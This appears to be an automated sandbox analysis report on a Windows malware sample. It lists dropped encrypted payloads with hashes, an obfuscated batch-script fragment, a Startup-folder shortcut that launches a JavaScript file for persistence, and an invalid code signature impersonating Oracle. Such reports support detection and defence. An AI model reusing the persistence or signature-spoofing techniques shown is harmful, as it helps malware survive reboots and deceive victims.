SHA-512:	56FBB30D2358297E662F19A6236C9E039D4EF78B97BAF34508A04C80388483B5EE17DD2CBA97A3BBBDCB4E28CE7D9322CFCAB3974718C65945265591E86BA09F
Malicious:	false
Preview:	oc...A.Pr;.........n.@..."w<..s...D1...........m..T#.}..}r.\|.o..;d.T.0pI..a.J1.Q..r.d....Jw.-.....G...h$...}.13AW.o}...J{.\....^.....8.N...%H..5...2S..h...j+yu....W..../$..%35E....,;.........S~.G.v...[$..~.i...4`^..)...U.KKX.l..%.=........2r.... .........}!..}~.B.Y?!.w...#..O..K.h?E..J..>4.........ox5......_.v.>..U.&_oBV.ko....(k....f...8.wZ!....K...f,"T,)...7Z_.m.@J\.&....I......-....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.M.'.F...h............................kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..w.R..,P..Myn.2..t.W.....\|...0....R.....9.........m.......q8.5...x..2).U.j....>.p#.~.<...(..-...8..O....<{.,..}#......I......'..V-.._..`ER....Og].%..b.q

C:\Users\user\AppData\Local\Temp\Appraisal

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	3831
Entropy (8bit):	7.946757292660395
Encrypted:	false
SSDEEP:	96:HtLdIQTWXW4M4hKF9wZpR7ezSKMaRTeBvOG03d2oF1U2pkmIgSl:HtBIQTb4ZpR0SKMaIBe3QoF1BNDSl
MD5:	768DB4AC22081145374C24722FCC43AD
SHA1:	BDB3807C1202E377300C0BA5C3583A698C37ADFD
SHA-256:	344B4C601FD07DF63377194621D87533A3AFA29FF6F56190C4F64B5D9FAB5B08
SHA-512:	D68A1343313C8F7D6EA6320FDD421A119725B2EBF71853E1726BCDDDA7E88812C2D018914AC9FA25AD4C236536813D33FB746E1B76E9860405025F78BDC1DDBD
Malicious:	false
Preview:	2u..@....qo..XWs.."1....{.a..4h.A<.........k?.....`n.(...I..,.....v......7........E......D.R.....!..m...=.1....#I>.,r...u..1.....n..W~q.$R..0.?..X.L...".#....cV.Zim>.. ..e....<.V:..b.x@...)Fl.....}.....()..}..u[(XD.1...zw...@....b&....8....q...>b...,.H.$.."5...."3_.Ay4.P.V..?B..`.3 .H......E.zUf......p..........cw.W@.nx.....GP.h../...'.....B....N..sg.s/..h.K.FT...4.867uW\|...h#...+..#..-..{.R........!..s.\|...dZj#.&.:.D.%....q1..t..........^P9..0:`d....9............<-W8.&.tC......]s...@#U..d........@.t...tNp..]}...c8.\..ZAlJ,....11N;_.9.H..=....T?.H@k..<6..?..K..fA..RR...F..w].......G`...F&.,.s.........za...2.....kI.W.W..<@...3=m/4N..?.(....Yo\|8.6...}........w].u.......'..}Zc.Q.L......`P..Qp\|ivz....{..ag..,d/"..)m....c.4HIP....z...zd.......3..../]K.....`./g_..H.$..v...C....%?.hA.O.O.B..ka.~?dDq..e...a.).4.u....&......GX...~:.......(>f..o..R......S.:o...b..(.r.\|.).[.%....d....g.Ru..~C.-.8...E.Z2.{X.M.....'.V ..j...l....../S..[6....7...U.]

C:\Users\user\AppData\Local\Temp\Barbie

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.9975055008806235
Encrypted:	true
SSDEEP:	1536:/BvokD+6XgWAVRX3efhLoR1Q28NgQhjbfa5ZU:/BRD+68VRX3eiB21GA
MD5:	001014C69A9062B0753718619B7E71E3
SHA1:	5EE78AB9158525C3F2342707C29FBC8C50DC8426
SHA-256:	29A6F67DE3F128B72F48CD17714C88EC0EF28771A242A4C6924087807D0F1182
SHA-512:	17BF97DFD5B44D40B0D662095D62E5AF2954390DE62B9791C1B1FAEA26C87E6427AA06B27BF7E53DDECDB7860D5B2B031DA87164341FD945C320236F54FCFDEA
Malicious:	false
Preview:	.....< ."/3...g.f...M.U.....\.7.7.....Z".T`..H..@/...PG.m...Q.DX.!...i.rs..Q]....^Y..r..g.]..w..`.'..Cn.g6.../.......j7...-..{.N..V........Pbs.6. 9Z.C.,rhDtT.....}$&.{O..F...:..T8.D..J.D....w.2;.jw.q.5.....6.Z...6,..l.8..".0q..UEJ..&=.&.6c...tE4.......&.v...\|...M...R........s.T@.K..n.w&.5......t......U{.-.,...u...!......O>.C....l.......fU..yG._.~..R....J$#.oi....8..R.$c.F%.aQ.i%.@.N.sU.H...;3i..L...C.G.=.....v...x...\|p.UJ...zg...G.)CBCik:mK".6...U3@...Z#_.Y.m.#.}M=..>g;...&,M..b_..$yK.2..E8g..z.;..~2. ....G\|.G........<.w....u.x-;..Ra...kN.d.&...;New.q<....c1....u6Kl..H....H.#]..+....CG!.2.].s/G...M..q.......6JO..,.?......P.CjD.Pr...H........?)V...........F...f-;;,N#.et...... ..S..D...O...f.>...z+.E$,...{.... .c.,5.17........z.q.Vm..H...?.[.V..X6Z.......y.0.K.'".....q.D.........Na.Yh....F.q.......+.o..9k..I.......S.p...y..<X.TH.l aTc...LQ.....I.A^u.i\.jI....;....0}..#.ve!.t..{...\.D%..>.B5'D.....F.d_..={E.H..,..w.~zY_.$.j.EJ......UD..

C:\Users\user\AppData\Local\Temp\Centres

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	ASCII text, with very long lines (1199), with CRLF line terminators
Category:	dropped
Size (bytes):	23862
Entropy (8bit):	5.096137660724854
Encrypted:	false
SSDEEP:	384:Q4VFdKAGOKr0a70GNJZdjLU7xQnrSVAMqmTLQ+dsbBBTlwKns/N7UosAy+xmlYf:PVFdjKrPYCJZVU7xQrMqcM+2Rlw3N7Uy
MD5:	DE5800B2AD98E412AFE2A7BC93DFA639
SHA1:	E3D423C60E01C7C079261521B0939DA80A85649A
SHA-256:	67D35DB2809DA95D2DC7E4CE76800103CBC042E2F02D1CC1934A6C06E5E6737C
SHA-512:	E935DF1E0716EA1D5E5DCDF28E1A7CCCBAB533737F10EBF9DFF9363E457512EBC9661AE615F06FF514EC03A1F3386E45BB98C996ADF5A0FD7EEDBA2EFEC74079
Malicious:	false
Preview:	Set Adidas=T..yUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-..mxrGRochester-Vice-Assign-J-Su-Minus-Dream-..ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-..xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-..hgLouisiana-Orange-Bedford-Porno-Gregory-Skype-Eddie-..LOPromotion-Retreat-Reservations-Gig-Voyuer-Luxury-Julian-Physics-Mag-..KQENutrition-Tue-Promotion-Subtle-Nicaragua-..KmSPRack-Mem-Badge-Modular-Pee-Dd-..JvSoon-Permitted-Voted-Bath-Helped-Management-Nobody-..Set Foot=H..ESLfShit-Pills-Tvs-..OSGuns-General-Terry-Telephone-Barn-Stress-..VMfMarried-Schools-Tracks-Bradley-Massive-..KmWTent-Jail-..oiPci-Concerned-Exceptional-Halo-Hate-Paris-Marc-Programs-..YHDASoviet-Circulation-Economy-Ga-..BdBrush-Goods-Fallen-During-Travels-Hardly-Lg-..OLWZQuiet-Hh-Ties-Avon-Tip-Dependence-Counter-Core-..UiYGenerous-Readily-Compound-Red-Worse-Os-..Set Decades=0..uLvCoordinator-Dirty-Younger-Civilization-Signing-Og-..vPifIsolated-..cfkhPatricia-Singh-Races-Edit-Solvin

C:\Users\user\AppData\Local\Temp\Centres.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1199), with CRLF line terminators
Category:	dropped
Size (bytes):	23862
Entropy (8bit):	5.096137660724854
Encrypted:	false
SSDEEP:	384:Q4VFdKAGOKr0a70GNJZdjLU7xQnrSVAMqmTLQ+dsbBBTlwKns/N7UosAy+xmlYf:PVFdjKrPYCJZVU7xQrMqcM+2Rlw3N7Uy
MD5:	DE5800B2AD98E412AFE2A7BC93DFA639
SHA1:	E3D423C60E01C7C079261521B0939DA80A85649A
SHA-256:	67D35DB2809DA95D2DC7E4CE76800103CBC042E2F02D1CC1934A6C06E5E6737C
SHA-512:	E935DF1E0716EA1D5E5DCDF28E1A7CCCBAB533737F10EBF9DFF9363E457512EBC9661AE615F06FF514EC03A1F3386E45BB98C996ADF5A0FD7EEDBA2EFEC74079
Malicious:	false
Preview:	Set Adidas=T..yUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-..mxrGRochester-Vice-Assign-J-Su-Minus-Dream-..ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-..xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-..hgLouisiana-Orange-Bedford-Porno-Gregory-Skype-Eddie-..LOPromotion-Retreat-Reservations-Gig-Voyuer-Luxury-Julian-Physics-Mag-..KQENutrition-Tue-Promotion-Subtle-Nicaragua-..KmSPRack-Mem-Badge-Modular-Pee-Dd-..JvSoon-Permitted-Voted-Bath-Helped-Management-Nobody-..Set Foot=H..ESLfShit-Pills-Tvs-..OSGuns-General-Terry-Telephone-Barn-Stress-..VMfMarried-Schools-Tracks-Bradley-Massive-..KmWTent-Jail-..oiPci-Concerned-Exceptional-Halo-Hate-Paris-Marc-Programs-..YHDASoviet-Circulation-Economy-Ga-..BdBrush-Goods-Fallen-During-Travels-Hardly-Lg-..OLWZQuiet-Hh-Ties-Avon-Tip-Dependence-Counter-Core-..UiYGenerous-Readily-Compound-Red-Worse-Os-..Set Decades=0..uLvCoordinator-Dirty-Younger-Civilization-Signing-Og-..vPifIsolated-..cfkhPatricia-Singh-Races-Edit-Solvin

C:\Users\user\AppData\Local\Temp\Correct

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997785532907348
Encrypted:	true
SSDEEP:	1536:+bNAgMpBbyaSuuG7cEFKWgtnMOCQZaT1BB+kEcr1Ue38UnKC8TsvVwFLcFlEOtMI:TBbyuIEFutntgrfgC5diAuOS8V
MD5:	D91B8B96745F7B7D81179268D4DA4B4D
SHA1:	B4AD21AFB4044B0C1461E1C5523D792110FB6130
SHA-256:	8704CB6EBE7EEF39F91CA6838C2D06EB9B21ED6E6DFDDC5F5707B8CB4A9F64F1
SHA-512:	8A036E1C23FF3C1921F5FAAB9BC423D7AAD509E370EA1E45C31FC84E0E868E13C862CC51D14A1708B2147DA6D6447E8D7CB2179E1D5AD8F33C29CE03C59AF85F
Malicious:	false
Preview:	oc...A.Pr;.........n.@..."w<..s...D1...........m..T#.}..}r.\|.o..;d.T.0pI..a.J1.Q..r.d....Jw.-.....G...h$...}.13AW.o}...J{.\....^.....8.N...%H..5...2S..h...j+yu....W..../$..%35E....,;.........S~.G.v...[$..~.i...4`^..)...U.KKX.l..%.=........2r.... .........}!..}~.B.Y?!.w...#..O..K.h?E..J..>4.........ox5......_.v.>..U.&_oBV.ko....(k....f...8.wZ!....K...f,"T,)...7Z_.m.@J\.&....I......-....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.M.'.F...h............................kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..w.R..,P..Myn.2..t.W.....\|...0....R.....9.........m.......q8.5...x..2).U.j....>.p#.~.<...(..-...8..O....<{.,..}#......I......'..V-.._..`ER....Og].%..b.q

C:\Users\user\AppData\Local\Temp\Fine

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	7800
Entropy (8bit):	6.237887479843994
Encrypted:	false
SSDEEP:	192:fUHAeOqAFDw09CV/2nPvj6DdMP3r1HI5jMlbN+G3yM:fUHAHhww+/2nlP3r1WAL3yM
MD5:	5A3868FBE5A6517157D7A0337C938E0A
SHA1:	4E8E6C526393D3D679C93D2A57B0DCA2EC0427FC
SHA-256:	75CB47C2BB9BEDEDD276C0008683B7E655A9E943626D2755BFA7D7E167F2B31B
SHA-512:	0D1C04C9D05395EBD831CA0DC94158CA32B0B5C9C839190E00EAECD572D8AB78CDB0EC07B55AFC38B8CFF1D59759A73D0AE13EF7B14A2CD8089B11FFB7E53668
Malicious:	false
Preview:	aroundaccommodategroupseverything..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Gloves

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.998271363701794
Encrypted:	true
SSDEEP:	1536:LhAC8plpAB13tObsRlWOFw5a7qbRSIBDoJ0MiSJj9cwhXYxZvJk0EKSxImCGg7AK:LIpABRtmsRlWYw5a7KyJZcwRYxBJHE5m
MD5:	383CECC8DE45B96CEFDF4CE6DDBAE343
SHA1:	8A12728453735E74E0D633B28BDF4556D4B0AF41
SHA-256:	A47C770A23612063F299F22871E18642B3D4668FB58765CDC279C4C0C3A23321
SHA-512:	3AE0ADE7BD22E407CEA05006C12F6F2A4A94A907919F2DEE40441D019631E848E2A6C90F2CA0D16691C15A087926AAC485F57E421AF0D60FC5BBFCAC43B36412
Malicious:	false
Preview:	.8..v.@P..V...). .0...'..b...7._O...'.734...\.C..U.t\|".Gj.werl<.x......x.Q..P?.Y"}..&..U....]...Q.fm..W..q...D.X..D.= .{.....;.A.`^....[.C..[....P...".Z......$.s`<4i......M....C..L.W[F.E..d{#..h .. ....p.....j..Z .S...&........ZY....w....4..Q.\..1..8..;............&...u.G........rN...qq!.F%Vf.8..tp..".nc.:....!./`.ZEF_....i.....O`.nK.......8..s.G..U.:...:.A.{. S>.]_e.^.i....n......=..Q.}C\|z..F_gC..9...{.Tt.M..Ma..5...~.q.b6..d.4..f.\|.<g...'I...A.f.\|..=....\...4@.... ..T[.].7..D.x>..TV.d.....w..Z..O...vy.....6.Ho....t..[.\|...78X.l.8.g...M.k.+..l[...[..l]..P.$.7.+#~.A..X..Z..B...p.......'..t..Q.Z.@....!....J.n...,6.....,.D.....I.../&.5i.....{.........Fz.................5.s....K.wL..[...:...\=+^.R...h.....m.Z......6.'!E...W...,Wm.X........+~7...5.z.^...H+o....c..?.b.........3#._.o.>........(..}...d.S....E.&...2~...(.t.....(..Kh.a$...Oc..@.4.>.....h..yCq.(.nW.E..../.>o.=8.........j....9w...:l..}!8....H....x.s.;J.,..G....1..

C:\Users\user\AppData\Local\Temp\Latin

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.997834867280466
Encrypted:	true
SSDEEP:	1536:POwYt0r7QuNT7NQyPOPSpnezwcV9xE1zaFTpX3XQwM78kIxTUU8n1V4J/:iIQu5NGPYezvTxE1upX3XQwsjUYVO/
MD5:	AC72A864D71E31270399396CEFA534E7
SHA1:	C41004BCFB507028F7D109EA2CBAB9A8BA5F4BD9
SHA-256:	F83C95DD15E4EB1B7F68946ECB8F1A689CC16CEBE02AE68EBC4E08E7AB467296
SHA-512:	7275D5A775A4FFA64AC59F0BB350582F19549A9C2FE5B0E6686D642E6BBD4B16D21E7B4358ADDEF096B539627D73CD39FE6A9D0377E817CA539C09CAFDC95180
Malicious:	false
Preview:	.d<[.@...2.M..2p......s.E..j.Q5...8.[PDw\.Jo.W.R.yt=....i..N)4...\L._. ..=V-.S?y.......q....q.6.n..D.XB.E.m.4y.kO..H{:A5Q......\5....A.4.\..q.d......v...<......j....<.-.Nn....D.E..g..4.$.K.;g.S...r..5H....&._=...JJ...\U........u..$...?...?4&.4......,...[q....A3@SrG\.S.......x...9.X.~.).X..txv#........w.......hS...{yN..[./..(?......F._.\)...P..O...G.<.T".~.{{...K....PL,+\..A.w'......EA"..A.(.....9:u..E....0m...2d..b.Mm.N..p....!.bC.t.t@...W..z.2.. ......(\|...&u.9.,..`.T!...d..i..ekO..O..t7`u.y...h.-....@..}.Y.lA.`0q2..18...JW{.{Y..hf/..e.js=5..1p..............z.....{..=...7.....5..ph.".....n..Lq.;}.......@.......S.....i.7..r..+&h%...?T.....+..Y!c.>...1:.....Q.N.e...p\|.H..~.M............3P\|<..0.%q2\|NQ.(DK.6k,.A..j....4H......~......o......y..d......\....?..J?.].u....p....'97...@j.ui..d023..(.0.....y.\|....F\|...`KGL.7..C.rR...\|p.yp.e.'.b.EJ.s.m..!.......?Id.)6..S.{\A..........\|.......-.....NCN.#b.N.......m.OD..&q.....b.....t..-.k.#.y.T...<J...

C:\Users\user\AppData\Local\Temp\Serious

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	885843
Entropy (8bit):	6.622038773759726
Encrypted:	false
SSDEEP:	12288:kV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:exz1JMyyzlohMf1tN70aw8501
MD5:	194A567844C46F20EABDCF8A7BF469DD
SHA1:	CCC915EEAEBEA7AD2C5550A3BA1C917B3708C469
SHA-256:	C2E3ADF32419B4163876794FCE4ED1F2C5D631A13AAAA955F3D3E30F1EB66A13
SHA-512:	BB5BE430767C176AFF3A5D3BFBE039CD67EDBA0246F3C51D302FD08D4BE19DEF43F7E6363D187AED454CD84F960DEA90746B7B6EDA525E3E4D67FA05B8BA3A00
Malicious:	false
Preview:	wL....wL....wL..=.wL....wL....wL....wL....wL.....j.^j\|Xf..wL.3....xL.h.I....xL....xL....xL..=.xL... xL.l.I...$xL...(xL...,xL..50xL...4xL.......8xL...<xL...@xL..=DxL..=HxL...\|xL....xL....xL..=.xL.f..wL..2.......~....]..E.. xL.P....Nu._^..wL.[..].V......\|xL.....c....%.xL....8xL.....b....%@xL... xL........xL........wL........wL.....D...^.U...(SVWh.....*...Y....A......^........xL..}..M.9..wL........E...P..xL.......}....xL..].....8..xL.......p....u.........................................E @....#E .E..@......E..E .E..E..}..............}...........u-j..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E..} .uFj..E.Pj.j0..@.I.j...X.I..M.+M..M.+...+....E ....@.t.j...X.I.j..Y...E .u..E..u.j.j.P....I..u..E.j.SP....I..E.+E.j..5.xL.j..u$P.E.+E.P.u .u.S.u.h..I..u... .I..........Vj.P....I..E$.G..E..G<.E .G@.E.P.7..4.I..E.+E.GD.E.+E.j.j..GH....I.Pj0.7....I.j.W..wL..\....=.wL..u.h..@.j(j.j.....I...wL....wL...wL.j..5.xL..G................_^[..]. .3........."......'....M..P....M..R...U..}..W..wL.....

C:\Users\user\AppData\Local\Temp\Ski

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.998470680086986
Encrypted:	true
SSDEEP:	1536:FhL2bzYtAJ28r1yhcuDzkoKPze14spu84cnY6lxlbj1mCTS4Yj2VMr:H2fYtAJ2k1yWWhUzeRNYy3bjNTS4YyGr
MD5:	08342A0886A607763230CC9E7F9763E9
SHA1:	EDBEA1401B8653FED918C0E6ADBAF9E6271BEC52
SHA-256:	F7AD68CE94DF8B242FC3F6E9BD7814A16011214952805ED5E8E6ADEF74A27F48
SHA-512:	D2E319DD4E914DFB6F4399BC8527B4D1C764A02C4D5BDC8735F6CE9A46614622568692DAB02122C47B75D8B970F0418DE17FF08A8032B8F92FCF7E67D0259341
Malicious:	false
Preview:	)...(.$.[j-3.083....=.....9Z"N.3....Xl...a..v.yaU]Ev.4...ML....I...f."9Y............t. D!).. .g.b.@....JA.]<.t...-v.i.R...E...Ue....q].s...e..W=...:...YQz}~._l{g.Y.I..K....4.l....@r?...]"....U...._a5.)...Z...K.);..u63q...E..Pu....`...).P...j.....m.....a.(...V..G.5.......2.PA..E.}....J..(#.;).1?....}"....q......Eu"..~A^.I....e.b.J...w^.L2J...b......d....l..[f.Z...T......{.....c.C.`~...k...a.N.".qc..1.h[.s.`a6..p%....'...r.....eP..S...d6H"...G.<.ly.).a.(X...V.....Z.o...6..k.{.p..m......h\|]....7.v@.....R..l.K.F..E/..:..5.h..<.z..v.......+..-e.-..o.R.xAn....-.....Qz.i.&P}.....{.p...R.Dz.4...g.={.W<?r\|w..G]z.].....+...!..j1H...T.=..@..^..H.B?.s....5.8....$AS.S.Fb....K.>.{B.1.Ri.`....n.L-.%.tt....q..+......7H.tvf>.u..k.....W........yk.......\|OOv......K.(...\.K@.3H...._$.\|j.7...T.....$.g.j.)~...v.M.......I...z....e.\|..'...C...J1...1%.=....4..h.^^..>...[..4.8.{.....v19.....s..%.N....29.w.y*2..!.....o..C..4.:....,c$K3&R.&.J.....:.H....

C:\Users\user\AppData\Local\Temp\Story

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.997368475932792
Encrypted:	true
SSDEEP:	1536:J+Q3dgxNnWvKXe/b3h7iLpHdJUzOSa6kNFZett8zMdvBG:1Wje/ZilHdJUKSa6kNLetttvBG
MD5:	99E977093BC7AB3360CBC1146D0EE20C
SHA1:	AD950626C995AF3BBE62E9AC187FA7CABDA406AD
SHA-256:	C1551D0D3D6C658C1B55558C4FDB2B1BE9233715B63485997C935C434BD570E7
SHA-512:	C148E1D0374611A19D6724EB7337A93899CFB4DB9D040F3541A47AC35947098860BCA1A9EC16E7B479E1AA98A258209E969459B2546700B462D18376B868B8C3
Malicious:	false
Preview:	.z.......z..H.j...`.+W..?y8.^.[6..H...`yG...wR...<..~.Z..Wf.2...`.....V;.............W.%<..r....G..#.........m..C&./...c...?.9..Z.b.Y.q2...Q...kT....].....N.oX!(.....a;.2...S..#.sB\|.J..1. C._5.2..wMC%c=.......x....4.E.........3..,.=..S...w....tyU.A}...?.O$.....zlI..\|.<.'..>...-...R..>....Q\.dR&.7..v...........B.:/.=.......p..j.W...1..t...h[.y...>V'*'.-1...J^.y&_.R.h.Pe.Q.7..Qs&.....{...m.l.r.Oq...I2.l..An........a(....Wzd.].F...r.....K]...&i/...6.C......'C.B._f..G..H...!.&#I....."#B..'....W..w...2i>a..z..V.Zx....H...F......WD!..\..m1&+Z.....FT.m.....5.d......G.@....a..)"..\|D.U..&..Ll.L.C.!..0M.$.o$X4.. .a.v.G...7....1..,.uu....mo....7..b.g.W..8aQ....v+..pC.['XPc7..p..@......R...Z./..t"?.@7.u.m.C.Q...S._D.......+i5c...K...RBXU.[F.3..(..Q.\|S..w..E.......3w.o=#:..8..2/.Nr.]....G...[/...O.$.X5.T;O.Q.k:h....M...CauH..koS..}.......O..-O.;:$..4..a..')W<..G.9w..B.....#.....E.C_..E...;...~.......vM..J..."=..QZ..(.8..1..Y.....\|.S..b..H...b..:.`.r...

C:\Users\user\AppData\Local\Temp\Transparent

Download File

Process:	C:\Users\user\Desktop\cW5i0RdQ4L.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997575500781217
Encrypted:	true
SSDEEP:	1536:AITtaftyMQXhoaS4SjfF7iLuiVjVK5xCUFQcCzo55:75aftCVS4SJ7Yuy4we5
MD5:	0B034950E941768616AF2EBA4F9D4000
SHA1:	A50F20A10E8DF21A1B2C1655F9F300C31D2EBED3
SHA-256:	D9AEA2AAD680EFCD111B992B6124E72F6BA2FEB178867D1C5F5167A21423BD4E
SHA-512:	EC0FDFE281CCBA186991DC872EEDA99EC0EFEC5C4F8B2CBFAAA7CEFC5248B08E071189934600A8EEDFCA804BCDF78F108778CE9A3B5F15C80BD80D77A1651965
Malicious:	false
Preview:	.Y.0. .....K.J...^.....?/]N..I....{...drOd..$..$?..^oo.&.......oC,.{y..".R...9.b0g@.$...5.0........z.P.{O<.....2:.=g0k.v.@.!...../l..=.W...-a.....".`.g......D'.2........y.........7.8B...........6.j.\|....vjus........es...-..C.i.1DKU?,F........c.3..?6.E......cdj6...L..m.\|...]...{M..?....h.?.B.`?.W....rc......8..(...?.j.m.;JW...j.q.%..p.W.3,%..k."..8....".074......K.cX:...f.......F..{.D}.].4......3Z.............2Z[...P.rz...<...:.q.dK....W+..D.-B../8=k.2..........s.p.(.7.w...<....@.l'...Ah.=.\.J.&...Z...b.....N...t..v.D=...w9....4k.-..s'.iGo..N'.e?.......>..X...9..8.... o....\..".TB.........e........T...u='..$..W....t.2X..\|.....W......L..VR...3.y...20.zYE].=.E.JX.j.g]..8=.&..G.tH......8'......Y..`.X....h~0G.WJ'.\...i...w..l...].A..F.N...~Zf.a. .=Q..a.Pm.Z.e3.h.....>.pnr..`..7o...4..}f.... ..q.&.......^...........cr......&..=.j..$8.>%.8.V......q....0.E"../R.....".j.....]Y.t...@-..Dt..H9I..36Su.+..{.5}<I.l.H.JQ.........J.....DT.....z

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.8653120141730595
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYot+kiE2J5iQztkRe7WkMuzEqtkRKfy:HRYF5yjowkn23iQzak7WkMuHaQfy
MD5:	523F0DBCAD516F67D396002AF1572F4A
SHA1:	A31D56453A86034B7D7323D618D8EB0FF62B0825
SHA-256:	2F470B896FF84C06F3ACBD00BE6CE3BD55BCB91AB8671841A01DC21CE6997647
SHA-512:	105AAFCA3B1436F92D9AF558B636E466956E04FD919F0A0F99950075EBB9D03CE315F324C036F0B93B37595518955F0C7915E8BF8B3B3B2B32E77944AFD60E1D
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.977071843843171
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cW5i0RdQ4L.exe
File size:	1'086'602 bytes
MD5:	c065ba22909fc8dbded4ea0eebb24ad5
SHA1:	b3d61dd7519be3d2909be9ce2d28f65ec7f9965d
SHA256:	9817f4d8bc1374f102196cfcb8a351abdc0563dea60f6084a7525e5ee5409b6d
SHA512:	b8621a86897e0da506157225ef049e92e6c6bff9837e6e2a2b55328b6931e8bd484e57dba9d2fa532728a7e35a36918a1f699cc3a9af11d26ac1fbd4fce72814
SSDEEP:	24576:vqJm/Xl+FIqBwq4QlGsljfzlE6J4zYfs6nScxy63:S4l+OqyLQHugVfDnS8y63
TLSH:	CF35238222E15865D8E62F352D7013626F38BC3B1CB94D6F93148E5CBED454B863B727
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	6c64686470544c00

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	19/08/2021 01:00:00 20/08/2023 00:59:59
Subject Chain	CN="Oracle America, Inc.", OU=Software Engineering, O="Oracle America, Inc.", L=Redwood City, S=California, C=US
Version:	3
Thumbprint MD5:	2876C1BECB51837D0E3DE50903D025B6
Thumbprint SHA-1:	940D69C0A34A1B4CFD8048488BA86F4CED60481A
Thumbprint SHA-256:	EE46613A38B4F486164BCE7FB23178667715617F511B364594311A1548B08EB1
Serial:	068BE2F53452C882F18ED41A5DD4E7A3

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
